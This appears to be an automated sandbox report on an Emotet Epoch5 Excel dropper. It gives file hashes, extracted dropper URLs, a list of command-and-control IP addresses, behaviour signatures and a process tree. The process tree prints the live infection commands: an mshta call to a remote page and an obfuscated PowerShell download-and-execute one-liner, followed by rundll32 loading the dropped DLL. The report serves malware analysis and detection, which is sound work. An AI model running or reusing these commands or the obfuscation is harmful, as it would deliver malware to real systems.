emotet | 218e7f373db649bc8bbf0fafd8ccbae7e41681dc021858d3c5f087331458b6df

Analysis

max time kernel
117s
max time network
159s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 22:08

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General

Target
tmpozo_p0mu.xls
Size 47KB
Sample220128-1185eaegdp
SHA256 218e7f373db649bc8bbf0fafd8ccbae7e41681dc021858d3c5f087331458b6df
MD5 d768472fe1fa5dd0a3a9be07239aa782
SHA1 7bc934a9eb21b1288f3edcc76c8e3d82d139455d
SHA512 b496263843a1d027e747389b95575393c99cc7e4631f825c8cfd273ac8066c08fc4f6ca31b8fb2dd27a46302a877d269043b84676c8a368821400ca7eb52f37a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/mm/nn/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/mm/nn/se.png

Extracted

Family

emotet

Botnet

Epoch5

74.207.230.120:8080
139.196.72.155:8080
37.44.244.177:8080
37.59.209.141:8080
116.124.128.206:8080
217.182.143.207:443
54.37.228.122:443
203.153.216.46:443
168.197.250.14:80
207.148.81.119:8080
195.154.146.35:443
78.46.73.125:443
191.252.103.16:80
210.57.209.142:8080
185.168.130.138:443
142.4.219.173:8080
118.98.72.86:443
78.47.204.80:443
159.69.237.188:443
190.90.233.66:443
104.131.62.48:8080
62.171.178.147:8080
185.148.168.15:8080
54.38.242.185:443
198.199.98.78:8080
194.9.172.107:8080
85.214.67.203:8080
66.42.57.149:443
185.148.168.220:8080
103.41.204.169:8080
128.199.192.135:8080
195.77.239.39:8080
59.148.253.194:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3208	2840	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
29	2260	mshta.exe
35	1372	powershell.exe
37	1372	powershell.exe
40	3820	rundll32.exe
41	3820	rundll32.exe
43	3820	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1880	rundll32.exe
2144	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Eidfnzz\lydbrdn.nrw	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3764	2260	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2840	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1372	powershell.exe
1372	powershell.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
3764	WerFault.exe
1372	powershell.exe
3820	rundll32.exe
3820	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	3764	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE
2840	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2840 wrote to memory of 3208	2840	EXCEL.EXE	71
PID 2840 wrote to memory of 3208	2840	EXCEL.EXE	71
PID 3208 wrote to memory of 3460	3208	cmd.exe	73
PID 3208 wrote to memory of 3460	3208	cmd.exe	73
PID 3208 wrote to memory of 2216	3208	cmd.exe	74
PID 3208 wrote to memory of 2216	3208	cmd.exe	74
PID 2216 wrote to memory of 2260	2216	cmd.exe	75
PID 2216 wrote to memory of 2260	2216	cmd.exe	75
PID 2260 wrote to memory of 1372	2260	mshta.exe	77
PID 2260 wrote to memory of 1372	2260	mshta.exe	77
PID 1372 wrote to memory of 2884	1372	powershell.exe	80
PID 1372 wrote to memory of 2884	1372	powershell.exe	80
PID 2884 wrote to memory of 1880	2884	cmd.exe	81
PID 2884 wrote to memory of 1880	2884	cmd.exe	81
PID 2884 wrote to memory of 1880	2884	cmd.exe	81
PID 1880 wrote to memory of 2144	1880	rundll32.exe	82
PID 1880 wrote to memory of 2144	1880	rundll32.exe	82
PID 1880 wrote to memory of 2144	1880	rundll32.exe	82
PID 2144 wrote to memory of 2576	2144	rundll32.exe	83
PID 2144 wrote to memory of 2576	2144	rundll32.exe	83
PID 2144 wrote to memory of 2576	2144	rundll32.exe	83
PID 2576 wrote to memory of 3820	2576	rundll32.exe	84
PID 2576 wrote to memory of 3820	2576	rundll32.exe	84
PID 2576 wrote to memory of 3820	2576	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpozo_p0mu.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
    3⤵
    PID:3460
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/mm/nn/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:2260
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1372
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2884
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1880
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2144
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eidfnzz\lydbrdn.nrw",LRqNNCMLAC
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2576
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Eidfnzz\lydbrdn.nrw",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3820
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2260 -s 1668
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1372-268-0x000001DCF8A10000-0x000001DCF8A32000-memory.dmp

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memory/1372-289-0x000001DCF8E20000-0x000001DCF8E5C000-memory.dmp

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memory/1372-359-0x000001DCF8A56000-0x000001DCF8A58000-memory.dmp

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memory/1372-300-0x000001DCF9140000-0x000001DCF91B6000-memory.dmp

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memory/1372-270-0x000001DCF8A50000-0x000001DCF8A52000-memory.dmp

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memory/1372-271-0x000001DCF8A53000-0x000001DCF8A55000-memory.dmp

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memory/1880-585-0x0000000004571000-0x0000000004594000-memory.dmp

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memory/2144-603-0x0000000005690000-0x00000000056B7000-memory.dmp

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memory/2144-588-0x0000000004C20000-0x0000000004C47000-memory.dmp

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memory/2144-601-0x00000000054C0000-0x00000000054E7000-memory.dmp

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memory/2144-597-0x0000000005300000-0x0000000005327000-memory.dmp

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memory/2144-595-0x0000000005220000-0x0000000005247000-memory.dmp

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memory/2144-592-0x0000000005140000-0x0000000005167000-memory.dmp

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memory/2576-604-0x0000000000830000-0x0000000000857000-memory.dmp

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memory/2840-116-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2840-128-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

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memory/2840-117-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2840-118-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2840-129-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

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memory/2840-121-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2840-115-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2840-849-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2840-850-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2840-851-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2840-852-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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